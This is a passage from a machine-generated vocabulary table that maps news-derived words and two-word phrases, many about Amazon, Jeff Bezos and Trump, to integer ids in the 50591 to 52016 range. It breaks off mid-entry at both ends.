50591, "books theater": 50592, "helped cause": 50593, "tijkwtcqoo trooper": 50594, "ecommerce understands": 50595, "lightening deals": 50596, "holiday began": 50597, "happens deutsch": 50598, "production feistier": 50599, "ethics law": 50600, "permanent residency": 50601, "business sentiment": 50602, "harmless entertainment": 50603, "efforts aimed": 50604, "best intentions": 50605, "shirt bore": 50606, "raised eyebrows": 50607, "discuss issues": 50608, "square mobile": 50609, "strong ftc": 50610, "skills barrier": 50611, "digital article": 50612, "trump tried": 50613, "surging pot": 50614, "equal ground": 50615, "latest marketing": 50616, "lentol brooklyn": 50617, "air romance": 50618, "bank balance": 50619, "live concerts": 50620, "fixtures": 50621, "experienced endto": 50622, "n1": 50623, "risk combined": 50624, "companies arrangements": 50625, "kind sneak": 50626, "vanden": 50627, "prime target": 50628, "britain prince": 50629, "massive military": 50630, "adai": 50631, "caitlyn": 50632, "held ideas": 50633, "billion mark": 50634, "nanosecond long": 50635, "trump talking": 50636, "general government": 50637, "twitter think": 50638, "described": 50639, "technologies finally": 50640, "cache": 50641, "floridians serving": 50642, "sims told": 50643, "list qanon": 50644, "investors reacted": 50645, "slowly unfolding": 50646, "split a4ee": 50647, "conama": 50648, "largest mail": 50649, "cases money": 50650, "complicates": 50651, "gunslinger": 50652, "government regulators": 50653, "response think": 50654, "particularly combative": 50655, "gmbactivistamazon": 50656, "president baptised": 50657, "cells faith": 50658, "merit": 50659, "huffpost story": 50660, "thriller": 50661, "british writer": 50662, "states represent": 50663, "portfolio biondo": 50664, "monopolistic practices": 50665, "federal prosecutor": 50666, "finance grow": 50667, "washington sources": 50668, "wrote tom": 50669, "segar private": 50670, "survivability technology": 50671, "submitted proposal": 50672, "growing flowers": 50673, "enthusiast named": 50674, "section 321": 50675, "bowie career": 50676, "dom": 50677, "choked": 50678, "process coalition": 50679, "vp wave": 50680, "new reporters": 50681, "thetrump organization": 50682, "coffee backed": 50683, "clear": 50684, "trump ricin": 50685, "298 1992": 50686, "modern life": 50687, "suits plays": 50688, "reports usually": 50689, "agricultural products": 50690, "carriers look": 50691, "fast casual": 50692, "ubs economists": 50693, "rotary dial": 50694, "alexa words": 50695, "donna brazile": 50696, "cops": 50697, "second flaw": 50698, "official details": 50699, "million subscribers": 50700, "genetics research": 50701, "bathing": 50702, "disingenuously": 50703, "taking natural": 50704, "toilets": 50705, "var f4a": 50706, "took advantage": 50707, "kardashian": 50708, "extended trading": 50709, "hobnobbing": 50710, "browser extension": 50711, "style substance": 50712, "popular indian": 50713, "eventbrite": 50714, "melton": 50715, "gop apparent": 50716, "trump temper": 50717, "caleb": 50718, "usps increases": 50719, "sight democracy": 50720, "definitions": 50721, "ic s9x": 50722, "big concerns": 50723, "yang award": 50724, "2018 citing": 50725, "speak speaking": 50726, "secret key": 50727, "alexa explained": 50728, "just amazon": 50729, "image cc": 50730, "legitimate media": 50731, "annual legislation": 50732, "eu solidarity": 50733, "freak occurrence": 50734, "large stake": 50735, "toasting": 50736, "ya": 50737, "skift piece": 50738, "recent interview": 50739, "cerrado deforestation": 50740, "wage workforce": 50741, "continuing integrity": 50742, "problems stand": 50743, "feuded": 50744, "general grievous": 50745, "won brazil": 50746, "notes lowry": 50747, "visit removing": 50748, "opportunity particularly": 50749, "grew stronger": 50750, "2018 je": 50751, "hypocrisy trump": 50752, "sept introduced": 50753, "toanother": 50754, "2018 college": 50755, "say rate": 50756, "additionally spicer": 50757, "food distribution": 50758, "product listing": 50759, "led executive": 50760, "regional corporate": 50761, "arnold": 50762, "select sector": 50763, "war grew": 50764, "reuters orlando": 50765, "federal corporate": 50766, "based fulfillment": 50767, "multiple cpg": 50768, "shovel hits": 50769, "\u0142500 000": 50770, "distractors 8221": 50771, "bezos run": 50772, "lane filler": 50773, "fabulous": 50774, "reportedly close": 50775, "ali suliman": 50776, "various incentive": 50777, "solidarity emanating": 50778, "dailymail": 50779, "ibm combined": 50780, "sessions attends": 50781, "function containerid": 50782, "new additions": 50783, "disney mcdonald": 50784, "outback steakhouse": 50785, "boom advances": 50786, "health experts": 50787, "future attacks": 50788, "homepage nonetheless": 50789, "image courtesy": 50790, "entity captured": 50791, "q4 data": 50792, "jr flying": 50793, "year just": 50794, "team members": 50795, "caves": 50796, "catspaw trump": 50797, "deputy assistant": 50798, "perform trending": 50799, "lux": 50800, "missile testing": 50801, "giant stories": 50802, "alexa speakers": 50803, "anti greed": 50804, "letter cnet": 50805, "distribute stories": 50806, "away massive": 50807, "users increased": 50808, "argument session": 50809, "alonzo": 50810, "contracts donnelly": 50811, "member maloney": 50812, "lucha": 50813, "ebooks promoting": 50814, "whirlwind": 50815, "band": 50816, "day schwietzer": 50817, "douglas rain": 50818, "illegal purposes": 50819, "abdul el": 50820, "incorporated": 50821, "email rung": 50822, "customers slow": 50823, "prices charged": 50824, "showtime live": 50825, "unpublishable": 50826, "reliable bus": 50827, "cnn parent": 50828, "tell bezos": 50829, "koch brothers": 50830, "downward quickly": 50831, "layerx layery": 50832, "opportunity rover": 50833, "jobs alongside": 50834, "large flat": 50835, "energizing": 50836, "posted video": 50837, "000 individuals": 50838, "ami connection": 50839, "suicide protesters": 50840, "conversations": 50841, "thumbimagelargesource thumbimageelem": 50842, "thecanadianpress": 50843, "sharpest bite": 50844, "walt zlotow": 50845, "seton motley": 50846, "remained silent": 50847, "burn coal": 50848, "submit disclosure": 50849, "online prime": 50850, "services expectations": 50851, "half years": 50852, "save taxpayers": 50853, "place provides": 50854, "bezos intervened": 50855, "octavio": 50856, "louise_matsakis": 50857, "employer accountable": 50858, "secretary doorstep": 50859, "amazon decorative": 50860, "left thinking": 50861, "favorite betway": 50862, "christopher monico": 50863, "trump responding": 50864, "runs counter": 50865, "provider amazon": 50866, "linda rosenthal": 50867, "major party": 50868, "navigate class": 50869, "js video_duration": 50870, "airline sued": 50871, "including british": 50872, "safe bet": 50873, "737f aircraft": 50874, "looms large": 50875, "today hour": 50876, "fraudster elizabeth": 50877, "comedy considers": 50878, "wasikowska": 50879, "mmcgill politico": 50880, "visual flair": 50881, "bhutan": 50882, "eviction cases": 50883, "2018 snopes": 50884, "international securities": 50885, "vacuum cleaner": 50886, "macbook charger": 50887, "faced conservative": 50888, "actions advertisement": 50889, "matt ryan": 50890, "almighty row": 50891, "arizona senator": 50892, "black assisted": 50893, "billion retail": 50894, "word dixie": 50895, "regulators unwind": 50896, "gmt new": 50897, "nfib says": 50898, "domains": 50899, "report warned": 50900, "internal politics": 50901, "854": 50902, "insult": 50903, "affordable pc": 50904, "performance financial": 50905, "tons": 50906, "spicer ranking": 50907, "lithgow chlo\u00eb": 50908, "team usa": 50909, "warning amazonclarity": 50910, "banks issuing": 50911, "pods fist": 50912, "rocky times": 50913, "eighth": 50914, "instance german": 50915, "workplace closest": 50916, "days later": 50917, "post reportedly": 50918, "political acquaintance": 50919, "ra a4ee": 50920, "company admitted": 50921, "create jedi": 50922, "ifmbu4gec3 pic": 50923, "citing anonymous": 50924, "people kushner": 50925, "traveled": 50926, "baptised bezos": 50927, "fixed piers": 50928, "markedly decrease": 50929, "socks reached": 50930, "circumvent congress": 50931, "median salary": 50932, "snapchat ceo": 50933, "recently subpoenaed": 50934, "chip suggests": 50935, "friends check": 50936, "length scantily": 50937, "culture war": 50938, "htc samsung": 50939, "distinguished writing": 50940, "met bezos": 50941, "glossies": 50942, "parody": 50943, "surveillance disinformation": 50944, "sent fears": 50945, "250 million": 50946, "companies stealth": 50947, "marshall county": 50948, "embarrassingly large": 50949, "week jeff": 50950, "final point": 50951, "series boasts": 50952, "forgot": 50953, "ha ja": 50954, "eu taxes": 50955, "postal products": 50956, "recognition entry": 50957, "amazon directive": 50958, "cohen tell": 50959, "isis kelly": 50960, "hawkish elements": 50961, "skykick edelman": 50962, "don diversify": 50963, "problem issuing": 50964, "container": 50965, "enquirer really": 50966, "director james": 50967, "maclachlan": 50968, "priorities suggests": 50969, "sector going": 50970, "program peddlers": 50971, "ceo megan": 50972, "large profitable": 50973, "detailing terms": 50974, "okamura": 50975, "techradar": 50976, "products spanning": 50977, "conscious": 50978, "ryan portrayal": 50979, "media elites": 50980, "best format": 50981, "transportation companies": 50982, "saw arguments": 50983, "summit patriots": 50984, "gavin newsom": 50985, "insiders plan": 50986, "finance donald": 50987, "killing 2018": 50988, "twitter finally": 50989, "controversy wide": 50990, "redoubling": 50991, "large online": 50992, "international revenues": 50993, "kabir amit": 50994, "hollywood park": 50995, "unfurl anti": 50996, "secretary emily": 50997, "drezner dandrezner": 50998, "world agricultural": 50999, "repeatedly took": 51000, "division": 51001, "tommy vietor": 51002, "communications consultant": 51003, "img_reference_name": 51004, "tufankjian heidi": 51005, "greatly implemented": 51006, "enders airbus": 51007, "service task": 51008, "senior quantitative": 51009, "someday adobe": 51010, "violence survivors": 51011, "inertia": 51012, "couple erin": 51013, "purged": 51014, "official working": 51015, "book uncommon": 51016, "banking customers": 51017, "high despite": 51018, "inquiry enforcers": 51019, "bolt need": 51020, "gmt randy": 51021, "veryreal": 51022, "wing podium": 51023, "life representatives": 51024, "wreak havoc": 51025, "coast way": 51026, "ap amy": 51027, "suspira": 51028, "county roads": 51029, "dad year": 51030, "years away": 51031, "comfortably smug": 51032, "sen chuck": 51033, "hourly pay": 51034, "dinner guests": 51035, "political interests": 51036, "residence outside": 51037, "supply touch": 51038, "conservative commentator": 51039, "deliveries particularly": 51040, "election tweeted": 51041, "policy challenge": 51042, "determine costs": 51043, "way giving": 51044, "trott": 51045, "location according": 51046, "amazon small": 51047, "additional racy": 51048, "claiming migrants": 51049, "potential congressional": 51050, "2013 episode": 51051, "buy nike": 51052, "valuable moats": 51053, "tankers": 51054, "sports": 51055, "regular sight": 51056, "agreement 2018": 51057, "toadstool": 51058, "stocked goods": 51059, "actually benefitted": 51060, "horizons brian": 51061, "unrig": 51062, "cartoons": 51063, "insider view": 51064, "problems policing": 51065, "investing ideas": 51066, "microphone attacking": 51067, "harmless trump": 51068, "stitch": 51069, "biggest settlement": 51070, "bezos announced": 51071, "plausible risk": 51072, "just hide": 51073, "unprecedented size": 51074, "benefitted amazon": 51075, "avoid raising": 51076, "repeatedly ask": 51077, "walks softly": 51078, "regularly branded": 51079, "support scams": 51080, "app digital": 51081, "revenue loser": 51082, "wrong wrote": 51083, "firm defense": 51084, "amazon played": 51085, "development expect": 51086, "business world": 51087, "sales significantly": 51088, "southern drawl": 51089, "224 3121": 51090, "examiner va": 51091, "walmart chief": 51092, "marries": 51093, "streaming giant": 51094, "bureau resolved": 51095, "tariff threat": 51096, "facebook combined": 51097, "harry": 51098, "stormed": 51099, "devoted whopping": 51100, "city department": 51101, "relaunching": 51102, "subsidizes": 51103, "just talk": 51104, "president requires": 51105, "funds futures": 51106, "rapho township": 51107, "castro deal": 51108, "walker negotiated": 51109, "bezo belief": 51110, "dismisses": 51111, "operating profit": 51112, "bloomberg multimillionaires": 51113, "term performance": 51114, "shayne heffernan": 51115, "nader": 51116, "friends businesses": 51117, "correct charge": 51118, "496": 51119, "nonprofit montessori": 51120, "lynwood": 51121, "notorious 2013": 51122, "agent hawaii": 51123, "computing backwater": 51124, "trump opposition": 51125, "suncor": 51126, "sidestepping taxes": 51127, "thriving digicracy": 51128, "colossus worth": 51129, "health episodes": 51130, "calculator know": 51131, "morning tweets": 51132, "bryan cranston": 51133, "released documents": 51134, "ami connections": 51135, "running corny": 51136, "index following": 51137, "cattle production": 51138, "commerce strategy": 51139, "encroach": 51140, "tax free": 51141, "sept raw": 51142, "fedex united": 51143, "major case": 51144, "nation farewell": 51145, "controversial stories": 51146, "jobs james": 51147, "paypal split": 51148, "companies responsibility": 51149, "\u014222 9billion": 51150, "mt pleasant": 51151, "agreement walmart": 51152, "alleges does": 51153, "depth local": 51154, "gov withdraws": 51155, "reverse bolsonaro": 51156, "english language": 51157, "sme market": 51158, "elevated spending": 51159, "committee positions": 51160, "experienced slower": 51161, "expires": 51162, "stinging defeat": 51163, "record wealth": 51164, "reputational risk": 51165, "tea party": 51166, "god don": 51167, "tool crispr": 51168, "scrap proposal": 51169, "empowering labor": 51170, "term cowen": 51171, "rajello bloomberg": 51172, "andavoid": 51173, "communities act": 51174, "iran resumes": 51175, "story 2018": 51176, "network amazon": 51177, "home shopping": 51178, "jeff sees": 51179, "low price": 51180, "apcustomersupport ap": 51181, "greater taxes": 51182, "whitesell hollywood": 51183, "76m": 51184, "importantly lot": 51185, "field imagine": 51186, "staggering billion": 51187, "daily onslaught": 51188, "week added": 51189, "peace versailles": 51190, "harris hollywood": 51191, "mediation instructor": 51192, "administration criticism": 51193, "run companies": 51194, "filmmaker jordan": 51195, "tight news": 51196, "democracy criticists": 51197, "nada zilch": 51198, "inwood neighborhood": 51199, "roller emmaroller": 51200, "people mail": 51201, "customers directly": 51202, "uae face": 51203, "hizzoner says": 51204, "bureaus": 51205, "process specifically": 51206, "keshner": 51207, "deposit guarantees": 51208, "buying appetite": 51209, "presumably wanted": 51210, "later nixon": 51211, "york tracy": 51212, "raided employers": 51213, "1530798028": 51214, "kind donation": 51215, "giuliani": 51216, "outcry": 51217, "service raised": 51218, "farrakhan": 51219, "icy blast": 51220, "wrote delrahim": 51221, "alka": 51222, "indisputable dominance": 51223, "swelling": 51224, "toronto ranks": 51225, "negative publicity": 51226, "retail health": 51227, "orders dwindling": 51228, "russians": 51229, "low rates": 51230, "outer space": 51231, "bora erin": 51232, "female artists": 51233, "indiebound": 51234, "taxes especially": 51235, "venerable news": 51236, "preside": 51237, "tv luca": 51238, "amazon policies": 51239, "rhetoric coming": 51240, "school original": 51241, "eastern amazon": 51242, "pre fund": 51243, "big book": 51244, "jackie costumes": 51245, "replies": 51246, "industries logistics": 51247, "hired gun": 51248, "apartment unit": 51249, "favorite bullying": 51250, "detergent liquid": 51251, "fewer tears": 51252, "retailing giant": 51253, "2018 karen": 51254, "extraordinarily convenient": 51255, "recent additions": 51256, "wild season": 51257, "bancha duriyapat": 51258, "examining google": 51259, "gop voters": 51260, "javers": 51261, "sauce": 51262, "declines recommending": 51263, "online fakery": 51264, "soft despite": 51265, "bringing home": 51266, "leaks person": 51267, "hq2 long": 51268, "big investor": 51269, "patricia highsmith": 51270, "central texas": 51271, "clusters": 51272, "kill zone": 51273, "digital group": 51274, "flake joins": 51275, "business roundtable": 51276, "city centre": 51277, "buyerzonewidgets photoessayslidemodels": 51278, "private exchanges": 51279, "billionaire referring": 51280, "post did": 51281, "2013 wasn": 51282, "innovative benefits": 51283, "khairul": 51284, "referred jeff": 51285, "brother argued": 51286, "cmo": 51287, "face printed": 51288, "wayne girl": 51289, "johnhendel": 51290, "powering bitcoin": 51291, "140bn": 51292, "holman": 51293, "giant historically": 51294, "sanders website": 51295, "annihilation photo": 51296, "time seller": 51297, "sustained economy": 51298, "investing event": 51299, "ballroom": 51300, "unionization": 51301, "22nd": 51302, "scary": 51303, "county missouri": 51304, "contentment": 51305, "brazil": 51306, "lauran": 51307, "quotes trump": 51308, "current board": 51309, "bank renamed": 51310, "airlifted vietnamese": 51311, "detective trying": 51312, "complex state": 51313, "nikulshina": 51314, "angeles ahead": 51315, "press jeff": 51316, "restarting ford": 51317, "year experience": 51318, "published noteworthy": 51319, "2019 citing": 51320, "fort greene": 51321, "fundamental weaknesses": 51322, "consumer benefits": 51323, "07017b cnl_calculated_color": 51324, "industry officials": 51325, "stake reynders": 51326, "gongloff": 51327, "just paid": 51328, "infringement jacob": 51329, "francois": 51330, "allows company": 51331, "mid west": 51332, "americans voted": 51333, "richest billionaire": 51334, "image toad": 51335, "gone pop": 51336, "influenced multi": 51337, "worldwide peter": 51338, "dominant commerce": 51339, "city including": 51340, "defeat president": 51341, "eventually disbanded": 51342, "huis": 51343, "inbetween": 51344, "josh hoxie": 51345, "holzer holzer": 51346, "opening deals": 51347, "mahaney rbc": 51348, "post accusing": 51349, "prove valuable": 51350, "artist bad": 51351, "services rose": 51352, "swooned bathing": 51353, "aerodynamic": 51354, "court fee": 51355, "company apparently": 51356, "schappert": 51357, "image consultant": 51358, "gilberto soares": 51359, "brand ivanka": 51360, "claimed abramowitz": 51361, "drill": 51362, "longest government": 51363, "sessions cheers": 51364, "lightweight moisture": 51365, "miracle": 51366, "desperately need": 51367, "bits worth": 51368, "kingdom approval": 51369, "provides management": 51370, "crude settled": 51371, "ceos drawing": 51372, "clicking sign": 51373, "success headlineposttext": 51374, "condemned amazon": 51375, "widespread demands": 51376, "autonomous institution": 51377, "person strolling": 51378, "sharing technologies": 51379, "bolstered": 51380, "different revenue": 51381, "articles intel": 51382, "huge subsidies": 51383, "modern home": 51384, "primary": 51385, "costco reported": 51386, "famous people": 51387, "violated antitrust": 51388, "maria cantwell": 51389, "state laws": 51390, "trespasser": 51391, "electoral college": 51392, "vast personal": 51393, "supported democrats": 51394, "onewest bank": 51395, "officials plans": 51396, "lyophilized": 51397, "apple beat": 51398, "congress sent": 51399, "higher stocks": 51400, "reutersmedia": 51401, "gathering opened": 51402, "hands free": 51403, "var m2x": 51404, "today rejected": 51405, "regulating search": 51406, "internet services": 51407, "edition following": 51408, "increase wasn": 51409, "gazing": 51410, "readdanwrite": 51411, "costs going": 51412, "astroturfing": 51413, "entire regions": 51414, "venture firm": 51415, "hardly champion": 51416, "scale mccain": 51417, "ftes": 51418, "times economic": 51419, "t5 h5": 51420, "apple doesn": 51421, "sniffing": 51422, "investors cheered": 51423, "furnishings retailer": 51424, "finalized mackenzie": 51425, "fall trump": 51426, "party diversity": 51427, "boulder senior": 51428, "leave comment": 51429, "dutch nationals": 51430, "lately pulling": 51431, "ticker security": 51432, "rachel adler": 51433, "bezos posing": 51434, "market gains": 51435, "amy coney": 51436, "bigwigs steve": 51437, "walsh susan": 51438, "possible privatization": 51439, "congress doesn": 51440, "satanic bible": 51441, "minister staring": 51442, "close relationship": 51443, "thedeal": 51444, "quantico virginia": 51445, "dominates online": 51446, "discusses controversial": 51447, "guilty pleas": 51448, "bogeymen": 51449, "speech debate": 51450, "saudi propaganda": 51451, "cup championship": 51452, "getty aws": 51453, "210 000": 51454, "home listing": 51455, "macy bed": 51456, "sa mindanao": 51457, "foiling trump": 51458, "crazy": 51459, "post journalists": 51460, "warns democrats": 51461, "competitive spirit": 51462, "budget released": 51463, "describing tech": 51464, "amazon thoroughly": 51465, "quoting": 51466, "told time": 51467, "positions amazon": 51468, "began driving": 51469, "nonfiction st": 51470, "attacks introducing": 51471, "context right": 51472, "supportive relationship": 51473, "trades early": 51474, "department local": 51475, "known cerrado": 51476, "7mx6tc32za smash": 51477, "little businesses": 51478, "selflessly": 51479, "ruin": 51480, "forced overtime": 51481, "yourterm": 51482, "buildings near": 51483, "formally telling": 51484, "charlie shea": 51485, "pension fund": 51486, "boyfriend little": 51487, "business activity": 51488, "history says": 51489, "ohanian shares": 51490, "birthday cards": 51491, "hiring exciting": 51492, "paved": 51493, "session continued": 51494, "businesses including": 51495, "enforcement priority": 51496, "unnamed wh": 51497, "guaid\u00f3": 51498, "dirtiest": 51499, "unsuccessfully demanded": 51500, "republicans support": 51501, "deaths damage": 51502, "amazon envisions": 51503, "followin read": 51504, "lowering yields": 51505, "kors": 51506, "primaries pawlenty": 51507, "require vesa": 51508, "holdings cypress": 51509, "cash express": 51510, "cooperate trump": 51511, "event commemorating": 51512, "wheelhouse": 51513, "hamlet": 51514, "lawmakers": 51515, "does create": 51516, "investor stanley": 51517, "lawyer elkan": 51518, "begins amazon": 51519, "screenphotos glitter": 51520, "assassins": 51521, "evaluate areas": 51522, "focus large": 51523, "trump signature": 51524, "curb spam": 51525, "news released": 51526, "psa just": 51527, "impediment": 51528, "gerrymandered districts": 51529, "make mexico": 51530, "pinochet": 51531, "quidsi founders": 51532, "drummer girl": 51533, "called nbc": 51534, "sellers receive": 51535, "trumps word": 51536, "queens asking": 51537, "ambitions claiming": 51538, "continued saying": 51539, "file lawsuit": 51540, "india platforms": 51541, "commitment": 51542, "international flights": 51543, "laura": 51544, "amazon love": 51545, "literally hitler": 51546, "channel send": 51547, "centers family": 51548, "associates kanye": 51549, "represents solely": 51550, "daisies": 51551, "thecounter intelligence": 51552, "active financing": 51553, "bezos inability": 51554, "annual lunar": 51555, "gerald riverhead": 51556, "carrier amerijet": 51557, "surveillance technologies": 51558, "adequately measure": 51559, "agile": 51560, "harassment issue": 51561, "water pollution": 51562, "bright spots": 51563, "ambiguous recording": 51564, "dealbook": 51565, "good intentions": 51566, "publicly denied": 51567, "power tell": 51568, "enquirer store": 51569, "people familiar": 51570, "law aimed": 51571, "outsmart": 51572, "fracking": 51573, "president haircut": 51574, "stopped demanding": 51575, "service address": 51576, "40m": 51577, "billion pieces": 51578, "chairman gou": 51579, "south county": 51580, "missourians": 51581, "extra frames": 51582, "lovesick": 51583, "actively blocked": 51584, "having breakdowns": 51585, "andrew keshner": 51586, "cub": 51587, "underpenetrated categories": 51588, "different periods": 51589, "great support": 51590, "200 watt": 51591, "congress kelly": 51592, "lows": 51593, "include introductions": 51594, "sharon": 51595, "npr midterms": 51596, "trump led": 51597, "topping analysts": 51598, "prompted companies": 51599, "second questionable": 51600, "justice threats": 51601, "press critics": 51602, "ibo middleweight": 51603, "obama bezos": 51604, "thoughtful": 51605, "legal action": 51606, "surprised allies": 51607, "undocumented persons": 51608, "story food": 51609, "offer offers": 51610, "mb": 51611, "unpaid pundit": 51612, "moore effect": 51613, "community launching": 51614, "unhinged": 51615, "feasible policing": 51616, "crown jewels": 51617, "wrote brittany": 51618, "prime movie": 51619, "travel cymru": 51620, "seeing crazy": 51621, "term ju": 51622, "trump cruelty": 51623, "unjustified": 51624, "wendy goodman": 51625, "big brewers": 51626, "incentivize competitors": 51627, "videocardcontents duration": 51628, "criticizing walmart": 51629, "california 39th": 51630, "alderson played": 51631, "began dominating": 51632, "programmes": 51633, "falsified": 51634, "official daniel": 51635, "legislative outcome": 51636, "president agitation": 51637, "cloud pain": 51638, "warfare says": 51639, "father trumped": 51640, "oppenheimer newsmakers": 51641, "carve cutting": 51642, "historian": 51643, "tv recorder": 51644, "company commercial": 51645, "caufield byers": 51646, "video featuring": 51647, "wars ignited": 51648, "retail competitors": 51649, "lot longer": 51650, "ami privately": 51651, "just joining": 51652, "wetherby asset": 51653, "keeping worried": 51654, "needing help": 51655, "amd celebrates": 51656, "protester violence": 51657, "business winning": 51658, "operates massive": 51659, "assistant managing": 51660, "future danielle": 51661, "p60 processor": 51662, "old subway": 51663, "grossly undervaluing": 51664, "weekly papers": 51665, "2016 cdc": 51666, "sparked reaction": 51667, "black hills": 51668, "close tie": 51669, "damage policies": 51670, "notices": 51671, "landowner": 51672, "union spent": 51673, "impression want": 51674, "analyst jackbeattynpr": 51675, "natural heritage": 51676, "rap album": 51677, "onerous package": 51678, "customize": 51679, "covers tech": 51680, "newspaper hard": 51681, "split stands": 51682, "greenspan talk": 51683, "killed hq2": 51684, "nominated corey": 51685, "word letter": 51686, "reuters morgan": 51687, "readers real": 51688, "michael mccaul": 51689, "rich dicriscio": 51690, "nba yay": 51691, "spotify complaint": 51692, "unconstitutional": 51693, "wage wouldnt": 51694, "brexit proceedings": 51695, "qanon jumps": 51696, "detroit news": 51697, "trump actions": 51698, "model associates": 51699, "brka brka": 51700, "assets respondents": 51701, "impinging": 51702, "diamond fox": 51703, "park avenue": 51704, "declared legal": 51705, "bruce springsteen": 51706, "ore trump": 51707, "matter week": 51708, "reap larger": 51709, "roberts file": 51710, "example apple": 51711, "estimates amazon": 51712, "altered seeds": 51713, "superior returns": 51714, "mark jacobson": 51715, "toy company": 51716, "rosenbaum": 51717, "phil philfrobisher": 51718, "remains silent": 51719, "amazon positive": 51720, "gunter": 51721, "ponnuru": 51722, "commissioner richardson": 51723, "remained friendly": 51724, "good opportunity": 51725, "firefighter": 51726, "foxnews msnbc": 51727, "including asians": 51728, "real value": 51729, "quadrupled": 51730, "hires investigators": 51731, "labor rights": 51732, "showtime app": 51733, "new profit": 51734, "businesses hope": 51735, "scrutiny cnn": 51736, "767 cargo": 51737, "beat wnyc": 51738, "bezos figures": 51739, "subcommittee chairman": 51740, "fly slightly": 51741, "computer riser": 51742, "refugees fear": 51743, "annie hall": 51744, "generated significantly": 51745, "catch": 51746, "traditional advantages": 51747, "inspiring writing": 51748, "rider press": 51749, "vegan data": 51750, "philadelphia search": 51751, "agcom italy": 51752, "jianjiao buluo": 51753, "24c": 51754, "keeps uncovering": 51755, "price wars": 51756, "day barbara": 51757, "leaning institute": 51758, "registered voters": 51759, "wadhwa 415": 51760, "vernon chrisvernonshow": 51761, "board approved": 51762, "trump dossier": 51763, "antczak": 51764, "party app": 51765, "bezos way": 51766, "aftershocks": 51767, "exploration tim": 51768, "partner community": 51769, "new copyright": 51770, "reproduction": 51771, "analysts photo": 51772, "inappropriate purposes": 51773, "var s4a": 51774, "thought project": 51775, "echo audible": 51776, "mayvenn": 51777, "buyback hershey": 51778, "win streak": 51779, "precipitated": 51780, "years social": 51781, "labor law": 51782, "badmouthed press": 51783, "needs howorth": 51784, "directors convened": 51785, "did spoof": 51786, "significant asset": 51787, "commissioned commercial": 51788, "daily mail": 51789, "major beef": 51790, "gentleman quiet": 51791, "rockets president": 51792, "megyn kelly": 51793, "flynn boyle": 51794, "story charles": 51795, "carnegie amazon": 51796, "wrecking ball": 51797, "quinnipiac poll": 51798, "interview provided": 51799, "remembrance": 51800, "wood capital": 51801, "company ultimately": 51802, "newest corporate": 51803, "partners canada": 51804, "vantagewire": 51805, "sasha ingber": 51806, "consistent coaching": 51807, "visit cities": 51808, "stop crimes": 51809, "solar installations": 51810, "ignition zones": 51811, "warm welcome": 51812, "sources sao": 51813, "investigation bezos": 51814, "written recent": 51815, "sea wall": 51816, "annabelle": 51817, "ish feels": 51818, "early slide": 51819, "craft low": 51820, "liquidate": 51821, "mngmt holds": 51822, "garner lot": 51823, "wrong item": 51824, "words kids": 51825, "printed accounts": 51826, "repressed desires": 51827, "little odd": 51828, "mashup": 51829, "desist order": 51830, "zuker failures": 51831, "looking socks": 51832, "double agents": 51833, "remain elevated": 51834, "jail obviously": 51835, "satirize": 51836, "severe winter": 51837, "publisher admitted": 51838, "bombs food": 51839, "housing authority": 51840, "crowded field": 51841, "ma bell": 51842, "branded cargo": 51843, "1999 bolsonaro": 51844, "wealthy professionals": 51845, "adage": 51846, "exercised": 51847, "business internationally": 51848, "aidy": 51849, "dealt major": 51850, "alomran aomran229": 51851, "skirt": 51852, "guests barack": 51853, "w8 pa": 51854, "reviews bezos": 51855, "enquirer campaign": 51856, "shelf commerce": 51857, "election contributions": 51858, "nonstick": 51859, "tragic death": 51860, "kengor": 51861, "jquery whatsappshareelement": 51862, "ticket sales": 51863, "gop affiliated": 51864, "ball nicole": 51865, "2017tony": 51866, "customers happier": 51867, "critical": 51868, "usps delivery": 51869, "costs topped": 51870, "nand memory": 51871, "officer": 51872, "abandon": 51873, "betting site": 51874, "century society": 51875, "sciences q2": 51876, "recent pillpack": 51877, "policy response": 51878, "risks google": 51879, "cites progress": 51880, "callahan": 51881, "washington heirs": 51882, "industry overall": 51883, "xly": 51884, "sahara border": 51885, "allsop": 51886, "mccarthy read": 51887, "symantec": 51888, "retail sports": 51889, "2018 potential": 51890, "snout": 51891, "jeff koons": 51892, "bluetooth speaker": 51893, "cheating": 51894, "era hasn": 51895, "trade detente": 51896, "threat based": 51897, "hubs": 51898, "ap steven": 51899, "high earners": 51900, "introducing financial": 51901, "rebuffed trump": 51902, "bullet points": 51903, "control": 51904, "timothy burke": 51905, "1018939686121861120": 51906, "reassure allies": 51907, "insurance": 51908, "avoid detection": 51909, "china companies": 51910, "average revenue": 51911, "point trump": 51912, "devices recorded": 51913, "commented positively": 51914, "whets appetites": 51915, "stone indictment": 51916, "volpe polling": 51917, "amazon tendency": 51918, "capability": 51919, "followed people": 51920, "reporter tweetstorm": 51921, "periodic sales": 51922, "ecb": 51923, "screenshots": 51924, "postmortal novel": 51925, "anticompetitive conduct": 51926, "help spark": 51927, "led chorus": 51928, "increases despite": 51929, "amazon attempted": 51930, "defined outcomes": 51931, "definition": 51932, "large company": 51933, "tl ipec": 51934, "dccc": 51935, "mandel": 51936, "owner david": 51937, "gone mad": 51938, "despite glitchy": 51939, "sitcom": 51940, "official white": 51941, "20180625 story": 51942, "california photo": 51943, "department asset": 51944, "null inc_pubdate": 51945, "likes fox": 51946, "whopping 475": 51947, "right congressman": 51948, "favour particular": 51949, "motivations make": 51950, "data owl": 51951, "bank shot": 51952, "delivery fda": 51953, "chinese researchers": 51954, "parents claim": 51955, "scan packages": 51956, "chief jerry": 51957, "world offering": 51958, "year exceeded": 51959, "venezuelan border": 51960, "spacex amazon": 51961, "court planned": 51962, "politicians opposition": 51963, "marketing people": 51964, "afternoon amazon": 51965, "party courier": 51966, "member pension": 51967, "finished later": 51968, "states according": 51969, "released short": 51970, "matters altogether": 51971, "climate scientists": 51972, "verizon 5g": 51973, "necessary action": 51974, "matter cartels": 51975, "developing midwest": 51976, "valuable minerals": 51977, "job tax": 51978, "function g5q": 51979, "thanksgiving table": 51980, "naughty": 51981, "upcoming 700": 51982, "director told": 51983, "trolling trump": 51984, "photos trump": 51985, "withdrawing troops": 51986, "biggest carbon": 51987, "wakefield": 51988, "smartphone data": 51989, "america porn": 51990, "original anthology": 51991, "mystique tim": 51992, "time making": 51993, "red bowtie": 51994, "endure grueling": 51995, "legally deliver": 51996, "unique competitive": 51997, "spectacular light": 51998, "pillpack sooner": 51999, "2018 adjusted": 52000, "longtime tesla": 52001, "trump billion": 52002, "prosecutorial power": 52003, "coons": 52004, "added washington": 52005, "administration ge": 52006, "painter": 52007, "abby love": 52008, "amazon disrupting": 52009, "court decides": 52010, "cuomo says": 52011, "cortez grew": 52012, "including cloud": 52013, "failure tax": 52014, "lease completed": 52015, "federal securities": 52016, "steve 